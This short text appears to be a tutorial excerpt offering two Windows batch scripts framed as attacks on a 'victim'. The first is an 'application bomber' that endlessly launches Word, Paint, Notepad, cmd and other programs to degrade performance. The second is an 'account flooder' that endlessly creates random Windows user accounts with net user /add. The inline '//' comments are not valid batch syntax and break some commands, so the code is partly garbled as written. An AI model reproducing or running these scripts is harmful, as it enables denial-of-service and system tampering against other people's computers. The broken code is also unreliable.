1. Application Bomber
@echo off // It instructs to hide the commands when batch files is executed :x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt start explorer
start control
start calc // open calculator
goto x // infinite loop
This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and of course affecting performance.
2.User account flooder
@echo off
:x
net user %random% /add //create user account goto x
This code would start creating windows user accounts whose names could be any random numbers